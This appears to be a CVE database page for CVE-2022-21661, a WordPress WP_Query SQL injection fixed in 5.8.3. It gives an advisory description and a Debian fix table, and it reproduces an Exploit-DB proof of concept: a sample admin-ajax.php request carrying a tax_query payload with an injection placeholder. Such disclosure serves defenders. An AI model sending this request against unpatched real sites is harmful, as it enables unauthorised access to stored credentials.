CVE-2022-21661
Description
WordPress is a free and open-source content management system written in PHP and paired with a MariaDB database. Due to improper sanitization in WP_Query, there can be cases where SQL injection is possible through plugins or themes that use it in a certain way. This has been patched in WordPress version 5.8.3. Older affected versions are also fixed via security release, that go back till 3.7.37. We strongly recommend that you keep auto-updates enabled. There are no known workarounds for this vulnerability.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
WordPress Core 5.8.2 - 'WP_Query' SQL Injection
# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection
# Date: 11/01/2022
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/download/releases
# Version: < 5.8.3
# Tested on: Windows 10
# CVE : CVE-2022-21661
# [ VULNERABILITY DETAILS ] :
#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,
#Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class,
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries,
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.
# [ References ] :
https://wordpress.org/news/category/releases
https://www.zerodayinitiative.com/advisories/ZDI-22-020
https://hackerone.com/reports/1378209
# [ Sample Request ] :
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Upgrade-Insecure_Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded
action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 5.8.3+dfsg1-1 |
| sid | Fixed | 5.8.3+dfsg1-1 |
| forky | Fixed | 5.8.3+dfsg1-1 |
| bullseye | Fixed | 5.7.5+dfsg1-0+deb11u1 |
| bookworm | Fixed | 5.8.3+dfsg1-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.